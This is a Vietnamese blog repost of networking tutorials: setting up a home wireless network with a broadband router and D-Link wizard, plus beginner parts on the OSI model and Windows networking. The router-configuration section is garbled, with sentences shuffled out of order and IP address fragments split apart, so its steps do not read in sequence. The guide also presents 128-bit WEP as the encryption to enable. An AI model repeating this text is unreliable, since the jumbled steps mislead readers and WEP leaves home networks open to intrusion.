có thể cần đến. Trong router của chúng tôi. Đừng e ngại khi khai thác khám phá panel điều khiển router của bạn để học được tất cả các tùy chọn này. có thể là địa chỉ IP ở nhà bạn.Phần 2: Cấu hình Hiện nay đang có ngày càng nhiều người sẵn lòng xây dựng một mạng không dây riêng cho mình. NETWORK Xây dựng mạng không dây bằng router băng thông rộng . Cách tốt nhất để thiết lập một mạng riêng là sử dụng một router băng thông rộng. sử dụng máy in và truy cập Internet mà không cần đến việc phải chạy dây cáp mạng loằng ngoằng vào các máy tính trong mạng.

bạn kích vào Properties. Lúc này bạn kích đúp vào card mạng đã được kết nối với router. Đừng quên kích OK nếu bạn cần thay đổi bất cứ thứ gì trên màn hình. nếu máy tính này được kết nối với router không dây thì card mạng là card mạng không dây. các máy tính đã được cấu hình một cách đúng đắn. Rõ ràng chúng ta cần thay đổi điều này ngay lập tức! . chúng tôi đã nêu ra một số thiết bị cần thiết để thiết lập một mạng không dây bằng router băng thông rộng. Đây là cấu hình Windows mặc định. màn hình thể hiện trong hình 9 sẽ xuất hiện. Hay tùy chọn này để bảo đảm cho máy tính sẽ yêu cầu router sử dụng cấu hình đó. Cấu hình router một cách cơ bản Như chúng ta đã đề cập đến vấn đề này từ trước. Chính vì vậy sau khi bật router thì bất kỳ người nào với card mạng không dây cũng đều có thể truy cập vào mạng của bạn. kích vào Start > Settings > Network Connections. bạn cần chuyển sang cấu hình router. Hình 2: Thuộc tính của card mạng Hình 3: Cấu hình TCP/IP Trên màn hình này bạn cần chọn “Obtain an IP address automatically” và “Obtain DNS server address automatically”. Lúc này. Lúc này bạn kích đúp vào Internet Protocol (TCP/IP) và hình như hình 10 dưới đây sẽ xuất hiện. phần này sẽ tiếp tục với phần cấu hình các máy tính và router cơ bản. Màn hình như trong hình 9 sẽ xuất hiện. nhưng bạn cũng nên luôn kiểm tra xem các máy tính đã được cấu hình đúng chưa. vấn đề chính với các router băng thổng rộng không dây là khả năng truy cập không dây của nó sẽ làm việc mà không có bất kỳ sự mã hóa nào. Nếu máy tính này được kết nối với router bằng một cáp mạng thông thường thì card mạng là card đã được kết nối với router. Cấu hình các máy tính Tất cả các máy tính trên mạng của bạn phải được cấu hình để có thể nhận các cấu hình mạng một cách tự động từ một DHCP server (chính là router). Để cấu hình các máy tính.Trong phần 1 của loạt bài này. Hình 1: Các kết nối mạng Trên màn hình hiển thị.

cấu hình tiếp theo là vùng thời gian. Hình 5: Thiết lập password quản trị Trong trường hợp ví dụ này. Tất cả các tùy chọn cấu hình sẽ khác tuỳ theo model của router. kích Next.Thứ đầu tiên cần biết là địa chỉ IP của panel cấu hình cho router của mình.168. bạn cần đọc kỹ hướng dẫn sử dụng xem user và password nào phải sử dụng (trong router D-Link DI-524 của ví dụ này. . Địa chỉ này sẽ làm việc một cách tự động trên các máy tính được kết nối đến router thông qua một cáp mạng thông thường.… Bạn có thể tìm thấy các tùy chọn rất thú vị ở đây để áp dụng thích hợp cho mạng. Cài đặt cơ bản cũng đủ cho đại đa số người dùng xây dựng một mạng nhỏ.0. Thông thường.0. Router đã sử dụng trong ví dụ của chúng ta sử dụng địa chỉ 192. user là “admin” và password vẫn còn để trắng). tuy nhiên chúng sẽ tồn tại. vấn đề này chúng tôi sẽ nói đến ở bên dưới. Hình 4: Màn hình đầu tiên trên panel cấu hình router Chúng ta chọn “Run Wizard” và đi lần lượt qua một loạt màn hình. Cấu hình này tuỳ theo thời gian vùng của bạn.1. khóa các website được xem. Khởi chạy trình duyệt web và nhận vào đó http://[địa chỉ IP].1. Chính vì vậy bạn sẽ không có các tên tùy chọn chính xác nhưmô tả dưới đây. 192. Sau khi thực hiện qua cài đặt cơ bản này. Dẫu sao.1 hoặc 10. chúng ta cũng hãy nói một chút về cài đặt cơ bản.168. Thông tin này sẽ được ghi trên hướng dẫn sử dụng của router. như khóa truy cập Internet tại một thời điểm nào đó trong ngày.1. Một số router yêu cầu một mật khẩu khi truy cập vào panel điều khiển lần đầu tiên. trước tiên bạn cần kết nối nó vào mạng của mình. chính vì vậy chúng ta cần nhập vào http://192. Điều này rất quan trọng vì nó phòng khi có ai đó thay đổi cấu hình mạng của bạn. mạng không dây của bạn sẽ có thể hoạt động.1.168. Màn hình đầu tiên là thiết lập một password quản trị mới. Nếu gặp phải trường hợp này.1. Trên các máy tính có kết nối không dây với router. Sau khi thiết lập mật khẩu mới.1.1.168. Đây là một trong những lý do mà chúng tôi khuyên bạn thực hiện cài đặt router ban đầu bằng một máy tính có kết nối đến router bằng cáp mạng thông thường. vì chúng là các tùy chọn cơ bản. Nó thường là 192.0. Tuy nhiên bạn có thể khai thác các tính năng của cài đặt nâng cao mà router có. Kích Next. màn hình cấu hình đầu tiên sẽ yêu cầu bạn chọn giữa hai tùy chọn cài đặt nhanh (hoặc cài đặt theo các bước có sẵn) và cài đặt nâng cao.

Hãy kích hoạt tính năng mã hóa WEP và chọn mức mã hóa là “128 bit”. Chúng tôi sẽ giới thiệu cách thực hiện phần này ở bài sau.3c.vn/Story/vn/hotrokhachhang/kienthucmang/2008/4/38397 . Trong trường hợp ví dụ này. Hãy giữ nguyên và kích Next. nghĩa là bao gồm các ký tự 0-9 và A đến F. Với mã hóa WEP 128-bit. Lúc này bạn cần tạo một khóa mã hóa (password) sẽ được sử dụng để mã hóa dữ liệu truyền tải trong mạng. Mời các bạn đón đọc! Theo Hardwaresecrets http://www. Điều quan trọng là ghi lại dải số này vào một mẩu giấy nào đó hoặc ghi nhớ nó vào một file được đặt mật khẩu. chúng tôi đặt tên mạng là “MyHome” (bạn có thể thấy rõ trong hình 16). Hình 7: Cấu hình địa chỉ MAC được sử dụng Màn hình kế tiếp là màn hình quan trọng nhất. Tên của mạng là cách các máy tính sẽ gọi mạng của bạn như thế nào.Hình 6: Cấu hình vùng thời gian Màn hình tiếp theo (hình 15) hiện một cấu hình tùy chọn không được yêu cầu bởi hầu hết các kết nối băng thông rộng. Ở màn hình này bạn sẽ cấu hình tên của mạng (SSID) và kích hoạt tính năng mã hóa. NETWORK . Bạn có thể nhập vào các số một cách ngẫu nhiên. khóa phải là một chuỗi 26 ký tự hexa.html Được đăng bởi haodalat tại 9:13 CH 0 nhận xét Nhãn: co ban ve Mang may tinh. Bạn có thể xem ví dụ trong hình 16 (vì các lý do bảo mật bạn không nên sử dụng cùng số mà chúng tôi thể hiện ở đây).com. Bạn cần nhập số này vào tất cả các máy tính truy cập không dây trong mạng chính vì vậy đừng quên lưu lại dãy số này! Hình 8: Cấu hình tên mạng và kích hoạt mã hóa Hình 9: Tiện ích cài đặt kết thúc Lúc này tiện ích cài đặt đã kết thúc và mạng không dây của bạn có thể hoạt động! Những gì bạn cần thực hiện lúc này là cấu hình khóa mã hóa trên mỗi máy tính truy cập không dây vào mạng. Nó cho phép bạn chỉ định tên máy chủ hoặc nhập vào một địa chỉ MAC nào đó để sử dụng bởi router băng thông rộng.

nó có một số nhược điểm mà chúng tôi đã giải thích trong bài. • Xây dựng một mạng không dây không cần đến router băng thông rộng không dây: Trong hướng dẫn này chúng tôi giải thích về cách xây dựng một mạng không dây cho riêng bạn mà không cần đến router băng thông rộng không dây. điều này cho phép bạn tiết kiệm được một chút kinh phí. • Chia sẻ các thư mục và máy in trong mạng của bạn: Sau khi xây dựng một mạng thì đây chính là hướng dẫn giới thiệu cho bạn cách chia sẻ các file. sử dụng máy in và truy cập Internet mà không cần đến việc phải chạy dây cáp mạng loằng ngoằng vào các máy tính trong mạng. đây chính là chủ đề mà chúng tôi muốn giới thiệu cho các bạn trong bài báo này. Đây là một trong những thứ tuyệt vời nhất là trong trường hợp bạn có các máy tính nằm trong các địa điểm khó có thể thiết lập hệ thống cáp mạng chạy dây hoặc trong trường hợp bạn muốn tự do truy cập mạng của mình và Internet bằng laptop của bạn ở bất cứ chỗ nào bên trong văn phòng hoặc nhà bạn: bạn có thể mang laptop từ giường ngủ hoặc văn phòng vào phòng khách mà nó vẫn liên tục được kết nối với mạng. bạn nên hiểu một cách cặn kẽ sự khác nhau giữa các bài kiểu chủ đề này: • Xây dựng một mạng nhỏ bằng router băng thông rộng: Hướng dẫn này chúng tôi đã giới thiêu khá chi tiết về cách thiết lập một mạng cho riêng bạn bằng một router băng thông rộng nhưng không có khả năng không dây. Chúng tôi nhớ là đã giới thiệu cho các bạn một số hướng dẫn về chủ đề này. Nếu bạn không muốn những nhược điểm này có trong mạng của mình thì cần phải sử dụng một router băng thông rộng để xây dựng một mạng cho mình. máy in giữa các máy tính trong mạng với nhau.Phần 1: Chuẩn bị phần cứng Hiện nay đang có ngày càng nhiều người sẵn lòng xây dựng một mạng không dây riêng cho mình. Thiết bị này sẽ kết nối tất cả các máy tính trong mạng của bạn và cũng tự động chia sẻ kết nối Internet băng thông rộng. Để xây dựng một mạng không dây cho riêng mình. Cách tốt nhất để thiết lập một mạng riêng là sử dụng một router băng thông rộng. chính vì vậy nó có thể cho phép bạn kết nối các máy tính mà không cần đến cáp mạng. Nếu bạn không muốn xây dựng một mạng không dây thì hãy tham khảo hướng dẫn này. Kiểu mạng này được gọi là ad-hoc. Bạn có thể chia sẻ file và máy in giữa các máy tính với nhau.Xây dựng mạng không dây bằng router băng thông rộng . bạn cần có những thứ . từ đó bạn có thể chia sẻ file. Mạng không dây có thể thiết lập tại nhà hoặc văn phòng của bạn. Thiết bị này có thể có tính năng không dây.

Một số card mạng có tốc độ 108MBps. Chúng ta hãy cùng nhau đi tìm hiểu về router trước. Giao thức mới được phát hành là n. Theo lý thuyết kịch bản tốt nhất là tất cả các máy tính đều sử dụng card 54MBps (hoặc 108MBps). Mặc dù vậy. tuy nhiên trong thực tế các card 54MBps lại đang sử dụng kỹ thuật nén dữ liệu và để chúng đạt được tốc độ này thì router băng thông rộng và card mạng cài đặt trên máy tính cần phải có công nghệ này và phải được làm từ cùng một nhà máy sản xuất. đơn giản là vì tốc độ kết nối Internet của bạn sẽ thấp hơn rất nhiều. Sự khác nhau chính giữa chúng là tốc độ: giao thức 802. Để đơn giản chúng tôi sẽ sử dụng các chữ cái b.11. Có một số giao thức và kiểu chung nhất vẫn thường được sử dụng là IEEE 802. nghĩa là mạng không sử dụng router băng thông rộng.11b có thể truyền tải dữ liệu 11MBps. Router băng thông rộng không dây Bạn có thể quan sát một router băng thông rộng không dây trong hình 1.11a. Trước khi mua một router này. việc mua card 54MBps là không sáng suốt. bạn sẽ bị hạn chế bởi tốc độ kết nối mạng của mình. bạn cần biết một số vấn đề cơ bản về chuẩn và các tốc độ. nếu có một kết nối 1MBps thì bạn sẽ có một mạng có khả năng truyền tải dữ liệu nhanh gấp 54 lần so với kết nối Internet. g và a tương ứng với các giao thức này. Hình 1: Một router băng thông rộng điển hình Card mạng không dây cần phải tương thích với ít nhất một trong các giao thức IEEE 802. còn g và a có thể truyền tải lên đến 54MBps (sự khác nhau giữa g và a chính là phổ tần số mà chúng hoạt động). ngược lại chúng sẽ không làm việc như card b.11b. Ví dụ. Công nghệ này cũng không làm việc trong các mạng ad-hoc. giao thức này sẽ có tốc độ truyền tải lớn nhất lên đến 540MBps. Một mạng 11MBps sẽ làm việc tốt hơn trong trường hợp này (nó sẽ nhanh hơn đến khoảng 11 lần cho kết nối .11g và 802. 802. Chính vì vậy bạn không sử dụng mạng của mình cho việc truyền tải file giữa các máy tính. g và a thông thường.dưới đây: * Một kết nối Internet băng thông rộng * Một card mạng không dây được cài đặt trên mỗi máy tính mà bạn muốn kết nối đến mạng không dây * Router băng thông rộng không dây.

các mạng ad-hoc cũng đơn giản không đáng tốn nhiều tiền.11a không có khả năng tương thích 802.11b thì chúng lại hoàn toàn có thể truyền thông với nhau ở tốc độ thấp hơn (11 Mbps). Có hai kiểu card mạng không dây hiện có trên thị trường: USB và add-on. Chính vì vậy bạn có thể giảm được chi phí bằng cách mua card 11MBps – chúng làm việc tốt hơn với những người dùng trung bình. Ví dụ. hãy bảo đảm mua các sản phẩm có thể tương thích với chuẩn 802. Mặc dù vậy. Nếu muốn tiết kiệm chi phí. Nếu bạn đã quyết định mua một router 54 Mbps hay 108 Mbps và card mạng không dây trên các máy. Nếu bạn thực sự muốn có một kết nối 54MBps (hoặc 108Mbps) thì nên thiết kế một mạng không dây có sử dụng router. Lúc này chắc hẳn bạn đã có được ý tưởng về router băng thông rộng không dây mà bạn nên mua là gì. vì chúng hầu như đều có card mạng không dây được tích hợp sẵn trong. nếu bạn có một laptop với card mạng không dây 802. nếu bạn có một kết nối Internet 1MBps hoặc 2MBps thì vẫn phải dừng lại ở tốc độ đó nếu có sử dụng card không dây 11MBps hay 54MBps đi chăng nữa. Ngày nay các router băng thông rộng và card mạng không dây đều có khả năng tương thích với một số chuẩn.11g thì chúng có thể không truyền thông với nhau. Thậm chí nếu router băng thông rộng không dây có khả năng không dây nhưng bạn vẫn có thể kết nối các máy tính đến nó bằng cáp thông thường.11g nhúng trong và bạn mua một router 802. Trong các máy tính laptop ngày nay thì bạn không cần đến công việc này. Chính vì vậy việc chọn giữa các router 11 Mbps. Phân tích một chút cho các bạn dễ hiểu. Chúng ta sẽ nói thêm về chủ đề này sau. nếu bạn truyền tải file giữa các máy tính thì tốc độ được sử dụng sẽ bằng với tốc độ lớn nhất của mạng (11MBps. .Internet). tuy nhiên trong trường hợp này bạn cần bổ sung thêm một card mạng không dây cho mỗi máy tính. 54 Mbps hay 108 Mbps cũng là một công việc cần làm để phù hợp với việc sử dụng của bạn trong việc truyền tải file giữa các máy tính hay không. vì các chuẩn được sử dụng ở đây là khác nhau – rõ ràng nếu cả hai đều chỉ tương thích với 802.11b (mục đích để router của bạn có thể truyền thông với các card chậm hơn) và sử dụng cùng một chuẩn 54MBps. tốc độ Internet sẽ giống nhau trên tất cả các chuẩn. Các router băng thông rộng không dây có một số tính năng cơ bản sau: Card mạng không dây Tất cả các máy tính ngày nay đều có ít nhất một cổng LAN chạy cáp 100 Mbps. 54MBps hoặc 108MBps). Cũng vậy. bạn có thể kết nối các máy tính desktop đến router bằng cáp mạng chuẩn.

Cài đặt Trong hình 5 bạn có thể quan sát thấy các connector trên một router băng thông rộng không dây điển hình. Hình 5: Router băng thổng rộng không dây điển hình Việc cài đặt vật lý ở đây rất đơn giản: cắm nguồn cấp vào cho router. chúng ta cần phải cài đặt các driver trước khi lắp đặt card vào máy tính. Trong hình 2 bạn có thể thấy một card mạng không dây loại PCI add-on cho các máy desktop. Card add-on cho các máy tính desktop được cung cấp cho slot PCI (có thể cho slot PCI Express x1 trong tương lai) và card add-on của các máy tính laptops được cung cấp cho slot PC Card (PCMCIA) hoặc slot Express Card. Nếu bạn chỉ sử dụng kết nối không dây thì đây chính là tất cả những gì bạn cần thực hiện. Nếu laptop của bạn không có card mạng không dây đi kèm thì cần phải kiểm tra xem nó có khe cắm mở rộng hay không (PC Card hoặc Express Card) và mua một card không dây add-on cho nó (PC Card có thể là một lựa chọn sáng suốt vì các slot của Express Card cũng chấp nhận các thiết bị này). kết nối cáp đến từ modem băng thông rộng đến cổng có nhãn “WAN”. bật máy trở lại và cài đặt driver của nó. Hình 2: Card mạng không dây PCI add-on Hình 3: Card mạng không dây USB Hình 4: Card mạng không dây PC Card Bạn nên mua một card có khả năng tương thích với cùng chuẩn không dây đã được sử dụng bởi router của bạn. trong hình 3 là một card mạng không dây USB có thể sử dụng cho các máy desktop và laptop. Thông thường nó rất đơn giản: chỉ cần kết nối thiết bị với máy tính của bạn (nếu bạn cài đặt một PCI card trên máy desktop thì bạn cần bắt máy và mở case). còn trong hình 4 là một card mạng không dây PC Card add-on cho các máy laptop. Với PCI card của chúng tôi như đã thể hiện trong hình 2 (D-Link DWL-G510). .Thông thường card add-on chạy ổn định hơn. cắm nguồn cấp vào ổ điện xoay chiều. Việc cài đặt card này cần phải được thực hiện theo hướng dẫn sử dụng của card.

Ngày nay tất cả các máy tính đều có ít nhất một cổng LAN 100 Mbps (card mạng nhúng trong). Nếu bạn sẽ kết nối các máy tính đến router bằng cáp mạng thông thường thì hãy đọc phần kết nối với cáp mạng thông thường dưới đây bằng không bạn có thể bỏ qua để chuyển nhanh sang phần khác.Hãy chú ý một trong những vấn đề chính trong việc thiết lập một mạng không dây là router sẽ làm việc ngay lập tức. tính năng không được thiết lập mặc định. bạn đơn giản cần các cáp mạng chuẩn cho mỗi máy tính mà bạn muốn kết nối vào mạng. thông thường các router băng thổng rộng có 4 cổng LAN. Chính vì vậy bạn cần kiên trì và đọc hướng dẫn này vì cần phải kích hoạt mã hóa WEP. Vậy là bạn đã có đầy đủ các thiết bị để thiết kế một mạng không dây (hay cả . Hình 6: Cáp mạng điển hình Trên mặt router. điều đó có nghĩa là bất kỳ máy tính nào có khả năng kết nối mạng không dây đều có thể sử dụng tín hiệu mạng của bạn ngay lập tức – gồm có trong đó cả các hàng xóm nhà bạn. Chúng tôi khuyên bạn nên kết nối ít nhất một máy tính sử dụng cáp thông thường đến router băng thổng rộng không dây để tạo cấu hình ban đầu cho nó. tuy nhiên nó cũng hoàn toàn có thể sử dụng kết nối chạy cáp thông thường. Như chúng tôi đã đề cập đến từ trên. Network Interface Card). Đầu kia của cáp sẽ được kết nối đến mỗi máy tính mà bạn muốn kết nối vào router. Rõ ràng bạn có thể muốn kết nối tất cả các laptop vào mạng theo cách không dây. nếu bạn đang sử dụng một máy tính cũ không có tính năng này thì cần mua và cài đặt thêm một card mạng (10/100 Network Card or NIC. Với việc kết nối các máy tính đến router bằng cáp mạng thông thường. mỗi cáp sẽ được cắm vào bất kỳ một cổng LAN nào đó (xem trong hình 5). Hình 7: Ví dụ về cổng LAN trên một desktop Hình 8: Ví dụ về cổng LAN trên laptop Bạn không cần lo lắng về việc cài đặt cáp mạng sai giắc: giắc mạng có tên RJ45 sẽ hợp với card mạng. Trên hình 7 và 8 bạn sẽ thấy được cổng LAN trông như thế nào trên các máy tính desktop và laptop. Nếu bạn cần nhiều hơn số cổng thì có thể dùng một switch mở rộng và kết nối thiết bị này trên cổng LAN của router để mở rộng số cổng LAN có sẵn.

Tuy nhiên cũng phải nói rằng adapter mạng cũng chỉ là một thiết bị được thiết kế để gửi và nhận các gói dữ liệu. thì có thể thấy một kết nối mạng được thiết lập bằng một số thành phần khác nhau. chúng tôi muốn giới thiệu một số khái niệm làm vấn đề dễ hiểu hơn. và giao thức . Mục đích để một ứng dụng có thể truyền thông trên mạng. Chính các nhà máy sản xuất adapter mạng của máy tính mới cung cấp các driver có thể liên kết làm việc với Windows.chạy dây nếu cần thiết và để tiết kiệm chi phí mua card mạng không dây) chúng ta sẽ tiến hành cấu hình để các máy có thể kết nối với nhau và vào mạng Internet. mà họ chỉ viết một cách đơn thuần ứng dụng theo cách của họ để có thể cho phép ứng dụng này thực hiện các cuộc gọi đến hệ điều hành Windows.vn/Story/vn/hotrokhachhang/kienthucmang/2008/4/38598 .html Được đăng bởi haodalat tại 9:11 CH 0 nhận xét Nhãn: co ban ve Mang may tinh. Trước khi giải thích các lớp này là gì và chúng thực hiện những công việc gì. chúng tôi đã giới thiệu về một quá trình được sử dụng trong Windows (và các hệ điều hành mạng khác). và cũng như vậy. như network client – máy khách của mạng. Thực tế. hệ điều hành và phần cứng vật lý. Để biết tại sao điều này lại quan trọng đến vậy chúng ta hãy xem xét đến những gì mà chúng tôi đã giới thiệu trong phần trước có liên quan đến phần cứng. Một chuyên gia phát triển ứng dụng không xây dựng các driver mạng bên trong ứng dụng. . NETWORK Kiến thức cơ bản về mạng: Phần 17 – Mô hình OSI Trong phần trước của loạt bài này. Mỗi một thành phần này lại tương ứng với một hoặc nhiều lớp khác nhau. Mặc dù khái niệm này được sử dụng rộng rãi trong tất cả các hệ điều hành Windows. Windows thực hiện những công việc cần thiết còn lại để làm sao ứng dụng có thể truyền thông với adapter mạng. nếu bạn mở trang thuộc tính của Local Area Connection (như trong hình A). quá trình này cho phép các ứng dụng của các hãng được phát triển mà không cần phải lo lắng nhiều về vấn đề tạo driver cho thành phần phần cứng cụ thể. Bản thân Card mạng không hề biết về Windows. Theo Hardwaresecrets http://www. driver của adapter mạng. nhưng nó đặc biệt quan trọng khi nói đến vấn đề kết nối mạng.3c.com.protocol. Ví dụ mà chúng tôi vừa cung cấp nhằm cho các bạn biết rằng có đến ba lớp khi thực hiện công việc này đó là: ứng dụng. Công việc cụ thể bên trong đó phức tạp hơn những gì mà chúng ta vừa nói ở trên. Rõ ràng đó mới chỉ là những gì chung chung. ứng dụng hoặc thậm chí cả các giao thức đang được sử dụng.

Trong trường hợp này. Mô hình mạng mà Windows và hầu hết các hệ điều hành mạng khác sử dụng được gọi là mô hình OSI. Trong trường hợp cụ thể này. Lớp Presentation Lớp Presentation thực hiện một số công việc phức tạp hơn. Hình B: Mô hình OSI Lớp Application Lớp trên cùng trong mô hình OSI là lớp Application. Mỗi một lớp trong mô hình này được thiết kế để có thể thực hiện một nhiệm vụ cụ thể nào đó và làm thuận tiện cho việc truyền thông giữa lớp trên và lớp dưới nó. Mô hình này gồm có bảy lớp khác nhau.Hình A: Trang thuộc tính của Local Area Connection cho chúng ta một cái nhìn về các lớp mạng khác nhau được dùng trong Windows. Lớp Session Khi dữ liệu đã được biến đổi thành định dạng chuẩn. Giao thức này không thể truy cập trực tiếp đến người dùng cuối mà người dùng cuối này vẫn phải sử dụng ứng dụng được thiết kế để tương tác với giao thức truyền tải file. Để việc truyền thông mạng được thực hiện đúng cách thì dữ liệu cần phải được cấu trúc theo một chuẩn nào đó. Để hiểu lớp ứng dụng này thực hiện những gì. chúng ta hãy giả dụ rằng một người dùng nào đó muốn sử dụng Internet Explorer để mở một FTP session và truyền tải một file. tuy nhiên mọi thứ mà lớp này thực hiện có thể được tóm gọn lại trong một câu. Tương tự như vậy lớp này cũng biến đổi dữ liệu mà nó nhận được từ lớp session (lớp dưới) thành dữ liệu mà lớp Application có thể hiểu được. biến đổi chúng thành một định dạng chuẩn để lớp khác có thể hiểu được định dạng này. Thứ đầu tiên mà bạn cần hiểu về lớp này là nó không ám chỉ đến các ứng dụng mà người dùng đang chạy mà thay vào đó nó chỉ cung cấp nền tảng làm việc (framework) mà ứng dụng đó chạy bên trên. Lớp này lấy dữ liệu đã được cung cấp bởi lớp ứng dụng. lớp ứng dụng sẽ định nghĩa một giao thức truyền tải. Thuật ngữ OSI được viết tắt bởi cụm từ tiếng Anh Open System Interconnection Basic Reference. Bạn có thể nhìn thấy những gì mà mô hình OSI thể hiện trong hình B bên dưới. Lý do lớp này cần thiết đến vậy là vì các ứng dụng khác nhau có dữ liệu khác nhau. Internet Explorer sẽ làm ứng dụng đó. máy gửi đi sẽ thiết lập .

Hệ điều hành Windows cho phép người dùng có thể chạy nhiều ứng dụng một cách đồng thời. Khi dữ liệu này đến được máy tính người nhận thì lớp mạng lại kiểm tra số thứ nhận dạng của các gói và sử dụng chúng để sắp xếp dữ liệu đúng như những gì mà chúng được chia lúc trước từ phía người gửi. Lớp phiên này chịu trách nhiệm cho việc thiết lập. Có thể một số người nghĩ răng việc kết nối session mạng như một chức năng phần cứng. tuy nhiên chúng tôi nói qua rằng lớp mạng này tạo các đường logic được biết đến như các mạch ảo giữa máy nguồn và máy đích. Mạch ảo này cung cấp các gói dữ liệu riêng lẻ để chúng có thể đến được đích của chúng. Nếu người dùng đang chạy nhiều ứng dụng thì một số ứng dụng này có thể đã thiết lập session với các tài nguyên ở xa tại bất kỳ thời điểm nào. Nếu bạn chưa hiểu kỹ về khái niệm này. Đây chính là lớp sẽ đồng bộ hoá quá trình liên lạc của hai máy và quản lý việc trao đổi dữ liệu. Bên cạnh đó lớp mạng cũng chịu trách nhiệm cho việc quản lý lỗi của chính nó. Chính vì vậy mà dữ liệu được chia nhỏ thành nhiều gói nhỏ. và các giao thức logic. Lớp Transport Lớp Transport chịu trách nhiệm cho việc duy trì vấn đề điều khiển luồng. bảo trì và kết thúc session với máy từ xa. Lớp Network Lớp mạng Network là lớp có trách nhiệm quyết định xem dữ liệu sẽ đến máy nhận như thế nào. Do loạt bài này dành cho những người mới bắt đầu làm quen với các kiếm thức về mạng nên sẽ không đi chuyên sâu vào kỹ thuật. Khi điều này xảy ra. bên cạnh đó còn có nhiệm vụ chỉ ra gói nào bị thiếu trong quá trình gửi. lớp mạng sẽ gán vào mỗi gói nhỏ này một số thứ tự nhận dạng. Một điểm thú vị về lớp session là nó có liên quan gần với lớp Application hơn với lớp Physical. nhưng trong thực tế session lại được thiết lập giữa các ứng dụng. Lớp Transport lấy dữ liệu từ mỗi ứng dụng và tích hợp tất cả dữ liệu đó vào trong một luồng. cho việc điều khiển xếp chuỗi và điều khiển tắc nghẽn. lớp Transport chịu trách nhiệm cho việc bảo đảm tất cả dữ liệu từ máy gửi đến máy nhận.một phiên – session với máy nhận. và bản thân hệ điều hành cần phải truyền thông trên mạng đồng thời. chính vì vậy mà nhiều ứng dụng. hãy hình dung rằng bạn cần gửi mail . Lớp này nắm những thành phần như việc định địa chỉ. Bản chất mà nói. định tuyến. Lớp này cũng chịu trách nhiệm cho việc cung cấp vấn đề kiểm tra lỗi và thực hiện khôi phục dữ liệu khi cần thiết. Việc sắp xếp các gói là rất cần thiết bởi mỗi một giao thức giới hạn kích thước tối đa của một gói. Số lượng dữ liệu phải được truyền đi thường vượt quá kích thước gói lớn nhất.

com. Để đơn giản hóa. Khi dữ liệu được nhận. dữ liệu đó đi ngược trở lên từ lớp vật lý.vn/Story/vn/hotrokhachhang/kienthucmang/2008/4/38612 . Lớp vật lý định nghĩa các đặc điểm như định thời và điện áp. Theo Windows Networking http://www. Về vấn đề đó.một tài liệu có dung lượng lớn đến một người bạn của mình. chúng tôi đã giới thiệu cho các bạn về cách Windows sử dụng mô hình OSI như thế nào để thực hiện việc kết nối mạng. lớp vật lý định nghĩa những gì để nó có thể truyền phát và nhận dữ liệu. Lớp Physical Lớp vật lý Physical của mô hình OSI ám chỉ đến các chi tiết kỹ thuật của phần cứng. Địa chỉ MAC là địa chỉ được gán cho adapter mạng ở mức phần cứng. Lớp Data Link Lớp liên kết dữ liệu Data Link có thể được chia nhỏ thành hai lớp khác. chúng tôi sẽ giới thiệu cho các bạn trong phần tiếp theo của loạt bài này. Media Access Control (MAC) và Logical Link Control (LLC). Còn trong thế giới thực. Các lớp còn lại làm việc để tách bỏ những gì đã được đóng gói bên phía gửi và biến đổi dữ liệu về định dạng mà lớp ứng dụng có thể sử dụng được. Đây là địa chỉ được sử dụng cuối cùng khi gửi và nhận các gói. Làm việc hai chiều Cho đến lúc này. Điều này cũng tương tự như những gì mà lớp mạng thực hiện.html . MAC về cơ bản thiết lập sự nhận dạng của môi trường trên mạng thông qua địa chỉ MAC của nó. Bạn cũng nên hiểu rằng mô hình OSI chỉ là một hướng dẫn với tư cách để vấn đề kết nối mạng được thực hiện như thế nào. chúng ta đã thảo luận về mô hình OSI dưới dạng một ứng dụng cần truyền tải dữ liệu trên mạng. Kết luận Trong phần này. Để giải quyết vấn đề này thì bạn phải chia nhỏ một số trang vào các phong bì nhỏ. Lớp này cũng định nghĩa các chi tiết kỹ thuật phần cứng được sử dụng bởi các adapter mạng và bởi cáp mạng (thừa nhận rằng kết nối là kết nối dây). sau đó dán nhãn các phòng bì này lại để bạn của bạn có thể biết được thứ tự của các trang trong đó. Mô hình này cũng được sử dụng khi một máy tính nào đó nhận dữ liệu. Lớp LLC điều khiển sự đồng bộ khung và cung cấp một mức kiểm tra lỗi. các ngăn xếp giao thức đôi khi kết hợp nhiều lớp vào một thành phần nào đó.3c. nhưng không có một phong bì đủ lớn.

Lý do Windows trở thành một hệ điều hành có ảnh hưởng lớn như vậy là vì nó đã giải quyết được hai vấn đề lớn mà lĩnh vực CNTT đòi hỏi. Đầu tiên đó là trước khi tạo ra Windows. . cũng với mục đích phục vụ được nhiều độc giả nhất. Linux và UNIX tất cả đều có thể truyền thông trên cùng một mạng Internet bằng các giao thức giống nhau. và các doanh nghiệp nói riêng. Có một điều cần nói với các bạn. nhưng kết quả cuối cùng cơ bản là giống nhau. Chúng tôi chọn viết về Windows là vì nó là một hệ điều hành được sử dụng phổ dụng nhất trên toàn thế giới hiện nay. Điều này hoàn toàn là sự thực. đó là mọi hệ điều hành đều thực hiện việc kết nối mạng theo cùng một cách đơn giản.Phần 16: Kết nối mạng hệ điều hành Windows Thời gian vừa qua chúng tôi nhận được một số email của độc giả muốn biết tại sao hầu hết các bài trong loạt bài này chỉ tập trung vào Windows. Macintosh. có thể có những người thích Linux hơn Microsoft hoặc một hệ điều hành nào đó khác chẳng hạn. Hệ điều hành DOS quả thực đã làm việc khá tốt. các máy tính tương đối khó sử dụng. Chính vì vậy tôi muốn giới thiệu đến các bạn về role mà Windows giữ vai trò trong việc kết nối mạng. Nếu bạn muốn biết có bao nhiêu dung lượng không gian đĩa trống thì không thể sử dụng việc kích chuột phải vào biểu tượng đĩa mà phải sử dụng lệnh CHKDSK hay DIR. Mặc dù hệ điều hành này có thể hiệu quả hơn hệ điều hành kia. nhưng vẫn phân vân tại sao Windows lại cần thiết đến vậy. Điều đó có nghĩa rằng nếu muốn khởi chạy một ứng dụng thì bạn không thể kích chuột vào một biểu tượng nào đó trên màn hình như hiện hệ điều hành đang sử dụng bây giờ mà những gì bạn phải thực hiện vào thời điểm này là phải biết đến các tập lệnh cần thiết để khởi chạy ứng dụng. NETWORK Kiến thức cơ bản về mạng . DOS là một thuật ngữ được viết tắt cho Disk Operating System. Đây là hệ điều hành dựa trên văn bản. vì việc kết nối mạng đã được nghiên cứu và thực hiện ngay từ trước khi có Windows. Trước Windows 3. Windows.x. Đây quả là điều thực sự phức tạp đối với những người dùng không chuyên. hầu hết các máy tính chạy một hệ điều hành của Microsoft đó là MS-DOS. Thực sự mà nói với mỗi cá nhân. nhưng nó đã còn có quá nhiều thiếu sót theo một chuẩn mực nào đó. Windows đã làm những gì 